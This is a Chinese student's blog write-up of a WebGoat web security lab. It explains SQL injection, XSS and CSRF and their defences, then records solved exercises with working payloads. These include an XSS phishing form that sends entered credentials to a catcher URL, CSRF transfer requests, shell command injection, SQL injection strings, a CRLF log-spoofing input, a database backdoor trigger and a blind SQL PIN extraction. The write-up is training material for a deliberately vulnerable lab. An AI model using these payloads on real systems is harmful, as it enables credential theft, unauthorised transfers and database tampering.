20145219《网络对抗》Web安全基础实践

20145219《网络对抗》Web安全基础实践

基础问题回答

  • SQL注入攻击原理,如何防御?

    原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,使非法数据侵入系统。

    防御:

      1.对用户的输入进行校验,可以通过正则表达式,双"-"进行转换等。
      2.不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
      3.不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
      4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
      5.应用的异常信息应该给出尽可能少的提示。
      6.采取辅助软件或网站平台来检测sql注入。
    
  • XSS攻击的原理,如何防御?

    原理:XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码(如,HTML代码和客户端脚本)植入到提供给其它用户使用的页面中,攻击者可以利用XSS漏洞旁路掉访问控制。

    防御:

      1.特征匹配方式,在所有提交的信息中都进行匹配检查,一般会对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击。
      2.对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。
      3.实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。
    
  • CSRF攻击原理,如何防御?

    原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。

    防御:

      1.在form中包含秘密信息、用户指定的代号作为cookie之外的验证。
      2.“双提交”cookie。某个授权的cookie在form post之前正被JavaScript代码读取,那么限制跨域规则将被应用。服务器需要在Post请求体或者URL中包含授权cookie的请求,那么这个请求必须来自于受信任的域。
      3.用户在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie。
    

实践过程记录

  • Kali IP地址:192.168.87.128

WebGoat

在终端中输入java -jar webgoat-container-7.0.1-war-exec.jar开启WebGoat

当页面成功停在下图位置时,最小化终端窗口:

打开浏览器,在地址栏输入localhost:8080/WebGoat打开WebGoat,选择默认账号、密码即可登陆成功。

XSS攻击

1、Phishing with XSS 跨站脚本钓鱼攻击

先编写一个包含用户名、密码的前端代码:

<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
 
</div></div>
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

然后将这段代码输入到输入框中,点击search出现如下登录框:

在登录框中输入用户名、密码:

点击登录后跳出弹框,其中包含用户输入的用户名、密码:

攻击成功!

2、Stored XSS Attacks 存储型XSS攻击

在Message框中输入<script>alert("I am 20145219sg");</script>

点击提交后弹出对话框,显示I am 20145219sg

攻击成功!

3、Reflected XSS Attacks 反射型XSS攻击

在code框中输入<script>alert("I am 20145219sg");</script>

点击Purchase出现对话框,显示I am 20145219sg

攻击成功!

CSRF攻击

1、Cross Site Request Forgery(CSRF)

查看页面右边Parameters中的srcmenu值。

在title框中输入学号,message框中输入代码:<img src='attack?Screen=src值&menu=menu值&transferFunds=转账数额' width='1' height='1'>

提交后生成一个链接20145219:

点击学号名即可查看用户操作的信息:

攻击成功!

2、CSRF Prompt By-Pass

查看页面右边Parameters中的srcmenu值,并在title框中输入学号,message框中输入代码:

<iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> </iframe>
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>

提交后生成一个链接20145219:

点击学号名即可查看用户操作的信息:

攻击成功!

SQL注入攻击

1、Command Injection

我们看到这一题的选择框是一个下拉框,在当前网页上无法修改,于是,我们使用BurpSuite抓包修改(下方2、Numeric SQL Injection有详细过程,做的时候是先做的2、Numeric SQL Injection后做的1、Command Injection,所以过程截图就都在后面了……)。

在题目页面点击view,然后进入BurpSuite中,在repeater页标签的Params选项中先运行一次,查看数据都提交的位置:

然后修改HelpFile的值为AccessControlMatrix.help"&&ifconfig",其中的双引号是为了封闭原语句中的双引号,&&在命令行中是执行另外一条语句的意思,点击GO发现执行了ifconfig语句

回到题目发现显示破解成功。

2、Numeric SQL Injection

我们看到这一题的选择框也是一个下拉框,在当前网页上无法修改,于是,我们也使用BurpSuite抓包修改。

在Kali桌面上找到如下图标,打开BurpSuite

BurpSuite中依次选择Proxy->Options->Add添加一个端口,将绑定的端口设为5219,点击确认后会在Options下增加一行,勾选新形成的这一行:

点击浏览器右上方的更多选项卡,选择preference

在页面左侧选择advanced,选择network页标签,在connection那一行选择settings…

在弹出的窗口中设置代理服务器和端口(要与BurpSuite中绑定的一致)

设置好代理后回到题目页面,点击Go,然后进入BurpSuite中依次选择Proxy->Intercept,可以看到已经抓到了包:

右键选择send to repeater

进入repeater页标签,选择Params将其中station的值改为101 or 1=1,点击Go运行,查看右侧代码可以看到包中的SQL语句为SELECT * FROM weather_data WHERE station = 101 or 1=1

回到Proxy中点击Intercept is on对剩下的包不作处理,回到火狐发现已经成功。

3、Log Spoofing

在User Name文本框中输入%0d%0aLogin succeeded !admin达到欺骗登录效果,破解成功:

4、LAB:SQL Injection(Stage 1:String SQL Injection)

起初,我想要使用BurpSuite捕包修改数据,但是不知道为什么修改完了password的值为' or 1=1;--后依旧不成功,后来我就看了卢肖明同学的博客,看到他使用了一个新的工具firebug(浏览器右上方有一个小昆虫一样的标志),可以显示当前网页的源码并直接在其中修改。

使用用户Neville进行登录,在密码栏中输入' or 1=1 --进行SQL注入,本以为会成功,但是登录依旧失败(好像突然明白为什么上面使用BurpSuite捕包修改数据会不成功了……),查看源码发现输入框对输入的字符长度进行了限制,最多允许输入8个字符。

在查看源码的时候怎么找到限制字符长度的语句在哪里呢?千万不要像我刚开始一样傻呆呆的一句话一句话找,太傻了……在查看源码的窗口的顶部左边有一个鼠标一样的标志,点击它,再点击题目页面的password输入框的位置,源码部分就会自动跳转到关于密码的部分,缩小范围后就好找多了。

对长度进行扩大,然后在密码栏中再次输入' or 1=1 --,点击登录就成功了!(在这里,千万要开着扩大后的源码页面点登陆,它并不能保存,你一关就没了,别像我一样关了窗口一遍遍的不成功……)。

5、LAB:SQL Injection(Stage 3:Numeric SQL Injection)

用上一题的方法成功登录

查看网页源码,选择查看viewprofile部分的代码,把其中的value值由101改为101 or 1=1 order by salary desc --,这样老板的信息就会被排到第一个

点击viewprofile就可以查看到老板的信息了:

6、String SQL Injection

在输入框中输入Smith进行尝试,观察下方形成的输入语句,可以看到输入的Smith在两个单引号之间:

构造永真式'or 1='1,第一个分号用来闭合原输入语句的前一个分号,而第二个分号用来闭合原输入语句的后一个分号,使这条语句被强行拆分成为两条语句。

这样一来,攻击就成功了,可以显示所有用户的信息了。

7、Database Backdoors

先输入示例101进行尝试,得到了该用户的信息。

观察发现输入的语句不进行验证,于是我们输入语句:101; update employee set salary=10000成功将该用户的工资变成10000,攻击成功:

下一步,输入语句101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20145219@hackme.com' WHERE userid = NEW.userid就可以了,表中一旦添加新用户那么就在用户表里将新用户的邮箱改为我设置的邮箱。

8、Blind Numeric SQL Injection

尝试题目中给出的例子,在输入框输入101,运行后发现返回Account number is valid,说明这个数是合法的!

构造输入语句101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 数值 );,根据返回的语句是否合法判断pin值的范围。这里使用二分法确定值是2364,输入2364后破解成功:

我看这里蔡野同学用的是BurpSuite,但是我用那个尝试没有成功,可能是哪里输入错了,所以用了这个简单一点的方法(虽然有点儿费时……)。

实验总结与体会

这次的实验和我们的课程名十分的相符——网络对抗——通过在Webgoat上的实践,我学会了SQL注入攻击、XSS攻击和CSRF攻击的一些小套路,也初步掌握了设置代理服务器、使用BurpSuite捕获包进行源码修改的方法,后来,我又看着组长的博客学会了直接在网页上查看、修改网页源码,感觉这个比用BurpSuite修改更快捷方便一些,当然,这两个工具的侧重点不同,还是需要都掌握一下的。我感觉这次实验有一点儿像是闯关,尤其是每破解一题后就会有一个绿色的小对勾,反正做实验的时候每得到一个小对勾都很兴奋、感觉很有成就感。

posted @ 2017-05-12 17:35  20145219宋歌  阅读(257)  评论(0编辑  收藏  举报